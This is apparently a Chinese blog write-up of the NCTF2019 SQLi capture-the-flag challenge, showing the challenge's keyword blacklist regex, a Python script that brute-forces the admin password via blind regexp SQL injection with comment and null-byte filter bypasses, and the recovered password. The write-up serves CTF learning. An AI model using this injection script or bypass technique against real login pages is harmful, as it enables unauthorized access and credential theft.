当前位置:网站首页>[NCTF2019]SQLi
[NCTF2019]SQLi
2022-07-26 22:39:00 【茶经新读.】
[NCTF2019]SQLi

使用dirsearch扫面一下,发现了robots.txt


然后直接url进入查看robots.txt内容

发现有hint.txt仍然还是进入查看hint.txt内容
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
If $_POST['passwd'] === admin's password,
Then you will get the flag;这里黑名单里的内容很多,过滤了很多东西,并且If $_POST['passwd'] === admin's password要求要满足密码为admin的密码才会得到flag
使用python脚本爆破密码:
import requests
from urllib import parse
import string
import time
url='http://76cd948a-a7f3-4ab1-a28d-d7bc2bc26050.node4.buuoj.cn:81/index.php'
string= string.ascii_lowercase + string.digits + '_'
flag=''
for i in range(100):
for j in string:
data={
"passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((flag+j),parse.unquote('%00')),
#'passwd':'||/*1*/passwd/*1*/regexp/*1*/"^{}";{}'.format(i,'%00'),
'username':"\\"
}
#print(data)
res = requests.post(url=url,data=data).text
#print(res)
if 'welcome' in res:
flag+=j
print(flag)
#print(res)
break
time.sleep(0.1)
time.sleep(0.1)运行得到密码

you_will_never_know7788990
用户名任意(只要不是admin)密码如上

边栏推荐
- 7_ Principal component analysis
- 继承,继承,继承
- [qt] meta object system
- Point to plane projection
- [2. TMUX operation]
- Inherit, inherit, inherit
- 【AtCoder Beginner Contest 261 (A·B·C·D)】
- [RootersCTF2019]I_<3_Flask
- The detailed process of reinstalling AutoCAD after uninstallation and deleting the registry
- Detailed explanation of CSRF forged user request attack
猜你喜欢

c语言 static运用,灵活改变生命周期,让你写代码如鱼得水

Leetcode 301 week

Openharmony quick start
![[LeetCode] 无重复最长字符串](/img/97/bf8c9b019136ab372ce2c43cddbb2c.jpg)
[LeetCode] 无重复最长字符串

【 Educational Codeforces Round 132 (Rated for Div. 2) A·B·C】
![[HITCON 2017]SSRFme](/img/ed/4b396e5685bfe025eb96e34a8bd6a3.png)
[HITCON 2017]SSRFme

JSCORE day_03(7.4)

The detailed process of reinstalling AutoCAD after uninstallation and deleting the registry
![[PCB open source sharing] stc32g12k128/stc8h8k64u development board](/img/f1/48b344722820ab262e751aebf65411.png)
[PCB open source sharing] stc32g12k128/stc8h8k64u development board

【 Educational Codeforces Round 132 (Rated for Div. 2) A·B·C】
随机推荐
Matlab simulation of inverted pendulum control system based on qlearning reinforcement learning
Based on the theoretical principle and simulation results of MATLAB spherical decoding, compare 2norm spherical decoding, infinite norm spherical decoding, ML detection
Viterbi Viterbi decoding bit error rate simulation, modulation is QPSK, channel is Gaussian white noise
[LeetCode] 无重复最长字符串
[2. TMUX operation]
Openharmony quick start
5_ Linear regression
C语言 求素数、闰年以及最小公倍数最大公约数
Ansible MySQL installation case record
[4.6 detailed explanation of Chinese remainder theorem]
Mysql互不关联的联表查询(减少了查询的次数)
Arcgis和Cass实现断面展高程点
Search engine realizes keyword highlighting
Crop TIF image
Drawing warehouse-2 (function image)
SSRF explanation and burp automatic detection SSRF
【Codeforces Round #808 (Div 2.) A·B·C】
Visual studio C cs0006 C failed to find metadata file
MySQL associative table queries (reducing the number of queries)
[PCB open source sharing] stc32g12k128/stc8h8k64u development board